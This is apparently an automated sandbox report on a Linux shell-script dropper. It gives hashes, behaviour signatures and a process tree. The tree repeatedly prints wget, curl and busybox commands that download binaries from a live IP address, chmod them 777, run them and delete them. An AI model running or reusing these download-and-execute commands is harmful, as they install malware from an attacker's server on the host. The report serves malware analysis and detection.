Analysis
-
max time kernel
30s -
max time network
74s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
28/10/2024, 02:12
Static task
static1
Behavioral task
behavioral1
Sample
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh
-
Size
10KB
-
MD5
5ecd8e3f2eb51a7dc020f24e33b8cc57
-
SHA1
be4322853738933aa75ef6ade68437e1c6290afe
-
SHA256
19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f
-
SHA512
f43f15b94f1eab3f628a22d9dec691977126ced5801a808fc091f5847ab5cb1bf5bce49da1056fa82a1c14ccecddf1d0c76ecab6fcb74951c56b7c87a331dce1
-
SSDEEP
192:eyoVNmlHxyrasCqOpG+qpOVNmlHx3qOpG+0:e/VNmlRyrasH8VNmlRm
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 21 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 689 chmod 784 chmod 790 chmod 796 chmod 814 chmod 882 chmod 858 chmod 740 chmod 808 chmod 827 chmod 834 chmod 840 chmod 846 chmod 852 chmod 864 chmod 870 chmod 778 chmod 802 chmod 820 chmod 876 chmod 893 chmod -
Executes dropped EXE 21 IoCs
ioc pid Process /tmp/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ 690 3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ /tmp/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs7 741 gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs7 /tmp/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP 779 X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP /tmp/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM 785 XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM /tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 791 uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 /tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W 797 hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W /tmp/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p 803 LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p /tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm 809 WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm /tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 815 U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 /tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU 821 DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU /tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf 828 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf /tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO 835 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO /tmp/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm 841 0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm /tmp/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX 847 tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX /tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W 853 hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W /tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 859 uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 /tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm 865 WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm /tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 871 U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 /tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU 877 DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU /tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf 883 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf /tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO 894 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO -
Checks CPU configuration 1 TTPs 21 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 10 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 836 rm 887 curl 895 rm 885 wget 892 busybox 894 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO 831 wget 832 curl 833 busybox 835 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO -
Writes file to tmp directory 21 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP curl File opened for modification /tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm curl File opened for modification /tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO curl File opened for modification /tmp/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs7 curl File opened for modification /tmp/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM curl File opened for modification /tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 curl File opened for modification /tmp/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p curl File opened for modification /tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 curl File opened for modification /tmp/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX curl File opened for modification /tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5 curl File opened for modification /tmp/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ curl File opened for modification /tmp/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm curl File opened for modification /tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W curl File opened for modification /tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf curl File opened for modification /tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU curl File opened for modification /tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf curl File opened for modification /tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9 curl File opened for modification /tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm curl File opened for modification /tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU curl File opened for modification /tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO curl File opened for modification /tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W curl
Processes
-
/tmp/19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh/tmp/19c1517a2ea1661dfe2ede8c05244675c15d73c99da83c28e14b099d85f9974f.sh1⤵PID:656
-
/bin/rm/bin/rm bins.sh2⤵PID:659
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵PID:665
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:687
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵PID:688
-
-
/bin/chmodchmod 777 3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵
- File and Directory Permissions Modification
PID:689
-
-
/tmp/3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ./3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵
- Executes dropped EXE
PID:690
-
-
/bin/rmrm 3GGI6jHYHC6xu2sGlltrKkP9LrHAuBZqFZ2⤵PID:691
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵PID:692
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:695
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵PID:720
-
-
/bin/chmodchmod 777 gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵
- File and Directory Permissions Modification
PID:740
-
-
/tmp/gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs7./gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵
- Executes dropped EXE
PID:741
-
-
/bin/rmrm gFaBuhzyoPcJ94of1heeAHRAxkdJmNvVs72⤵PID:742
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵PID:743
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:776
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵PID:777
-
-
/bin/chmodchmod 777 X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵
- File and Directory Permissions Modification
PID:778
-
-
/tmp/X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP./X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵
- Executes dropped EXE
PID:779
-
-
/bin/rmrm X9BklTn8UK1q0Rb1d2CMmjLTo7fQPCBIJP2⤵PID:780
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵PID:781
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:782
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵PID:783
-
-
/bin/chmodchmod 777 XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵
- File and Directory Permissions Modification
PID:784
-
-
/tmp/XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM./XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵
- Executes dropped EXE
PID:785
-
-
/bin/rmrm XwyaAhcwTWSsWWblv1vgh55vxd7ujR19mM2⤵PID:786
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:787
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:788
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:789
-
-
/bin/chmodchmod 777 uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- File and Directory Permissions Modification
PID:790
-
-
/tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9./uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- Executes dropped EXE
PID:791
-
-
/bin/rmrm uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:792
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:793
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:794
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:795
-
-
/bin/chmodchmod 777 hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- File and Directory Permissions Modification
PID:796
-
-
/tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W./hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- Executes dropped EXE
PID:797
-
-
/bin/rmrm hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:798
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵PID:799
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:800
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵PID:801
-
-
/bin/chmodchmod 777 LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵
- File and Directory Permissions Modification
PID:802
-
-
/tmp/LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p./LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵
- Executes dropped EXE
PID:803
-
-
/bin/rmrm LUvdW1YFtoirOfVyBSZbFK4V7thWpG1K0p2⤵PID:804
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:805
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:806
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:807
-
-
/bin/chmodchmod 777 WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- File and Directory Permissions Modification
PID:808
-
-
/tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm./WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- Executes dropped EXE
PID:809
-
-
/bin/rmrm WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:810
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:811
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:812
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:813
-
-
/bin/chmodchmod 777 U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- File and Directory Permissions Modification
PID:814
-
-
/tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5./U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- Executes dropped EXE
PID:815
-
-
/bin/rmrm U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:816
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:817
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:818
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:819
-
-
/bin/chmodchmod 777 DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- File and Directory Permissions Modification
PID:820
-
-
/tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU./DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- Executes dropped EXE
PID:821
-
-
/bin/rmrm DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:822
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:823
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:824
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:825
-
-
/bin/chmodchmod 777 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- File and Directory Permissions Modification
PID:827
-
-
/tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf./4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- Executes dropped EXE
PID:828
-
-
/bin/rmrm 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:829
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:831
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:832
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:833
-
-
/bin/chmodchmod 777 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- File and Directory Permissions Modification
PID:834
-
-
/tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO./8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- Executes dropped EXE
- System Network Configuration Discovery
PID:835
-
-
/bin/rmrm 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:836
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵PID:837
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:838
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵PID:839
-
-
/bin/chmodchmod 777 0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm./0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵
- Executes dropped EXE
PID:841
-
-
/bin/rmrm 0zdG6UtIACbQpIVRch7mjsv3Kpdb5F27Mm2⤵PID:842
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵PID:843
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:844
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵PID:845
-
-
/bin/chmodchmod 777 tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵
- File and Directory Permissions Modification
PID:846
-
-
/tmp/tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX./tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵
- Executes dropped EXE
PID:847
-
-
/bin/rmrm tqETvihocyW5IBXbLUqZgcUbSZnHMpHcKX2⤵PID:848
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:849
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:850
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:851
-
-
/bin/chmodchmod 777 hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- File and Directory Permissions Modification
PID:852
-
-
/tmp/hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W./hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵
- Executes dropped EXE
PID:853
-
-
/bin/rmrm hc9Szil06OAkgrztXK7vu5C19XzwWSRO9W2⤵PID:854
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:855
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:856
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:857
-
-
/bin/chmodchmod 777 uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- File and Directory Permissions Modification
PID:858
-
-
/tmp/uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS9./uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵
- Executes dropped EXE
PID:859
-
-
/bin/rmrm uX4PM6caGP9MP7Rq4u150dPaiEOcqacOS92⤵PID:860
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:861
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:862
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:863
-
-
/bin/chmodchmod 777 WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- File and Directory Permissions Modification
PID:864
-
-
/tmp/WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm./WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵
- Executes dropped EXE
PID:865
-
-
/bin/rmrm WoefvXIGljNSEfl4GWhuf5TvcLK4NdFVgm2⤵PID:866
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:867
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:868
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:869
-
-
/bin/chmodchmod 777 U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- File and Directory Permissions Modification
PID:870
-
-
/tmp/U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA5./U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵
- Executes dropped EXE
PID:871
-
-
/bin/rmrm U5xtS0we7WqBkdFppqrWfElWhMsZu7bsA52⤵PID:872
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:873
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:874
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:875
-
-
/bin/chmodchmod 777 DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- File and Directory Permissions Modification
PID:876
-
-
/tmp/DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU./DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵
- Executes dropped EXE
PID:877
-
-
/bin/rmrm DIFXD9rBVs6Go67SBARojWwKsOpCe9SbhU2⤵PID:878
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:879
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:880
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:881
-
-
/bin/chmodchmod 777 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- File and Directory Permissions Modification
PID:882
-
-
/tmp/4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf./4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵
- Executes dropped EXE
PID:883
-
-
/bin/rmrm 4etNSRKvqBW9YYAoekTXyvKyKju8hMUpPf2⤵PID:884
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:885
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:887
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- System Network Configuration Discovery
PID:892
-
-
/bin/chmodchmod 777 8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- File and Directory Permissions Modification
PID:893
-
-
/tmp/8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO./8kxYL2AX9zAvyeobjHP38E9G3EF4HIIpUO2⤵
- Executes dropped EXE
